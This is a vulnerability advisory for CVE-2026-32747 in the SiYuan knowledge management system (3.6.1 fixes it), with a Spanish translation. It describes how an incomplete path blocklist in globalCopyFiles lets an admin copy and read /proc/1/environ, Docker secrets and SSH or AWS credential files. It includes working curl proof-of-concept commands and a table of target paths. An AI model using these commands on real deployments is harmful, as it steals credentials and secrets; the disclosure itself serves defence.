CVE-2026-32747

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.

SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel

### Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. ### Details File: kernel/api/file.go - function globalCopyFiles ```go for i, src := range srcs { absSrc, _ := filepath.Abs(src) if util.IsSensitivePath(absSrc) { return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for _, src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace } ``` IsSensitivePath blocklist (kernel/util/path.go): ```go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."} ``` **Not blocked - exploitable targets:** | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY | | /run/secrets/* | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens | ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash TOKEN="YOUR_ADMIN_TOKEN" curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}' curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n' ``` **Docker secrets:** ```bash curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}' ``` ### Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, la API globalCopyFiles lee archivos fuente utilizando filepath.Abs() sin una verificación de límites del espacio de trabajo, confiando únicamente en util.IsSensitivePath() cuya lista de bloqueo omite /proc/, /run/secrets/ y los archivos ocultos del directorio de inicio. Un administrador puede copiar /proc/1/environ o secretos de Docker en el espacio de trabajo y leerlos a través de la API de archivos estándar. Un administrador puede exfiltrar cualquier archivo legible por el proceso de SiYuan que quede fuera de la lista de bloqueo incompleta. En implementaciones en contenedores, esto incluye todos los secretos inyectados y las variables de entorno, un patrón común para pasar credenciales a los contenedores. Los archivos exfiltrados son entonces accesibles a través de la API de archivos estándar del espacio de trabajo y persisten hasta que se eliminan manualmente. Este problema ha sido solucionado en la versión 3.6.1.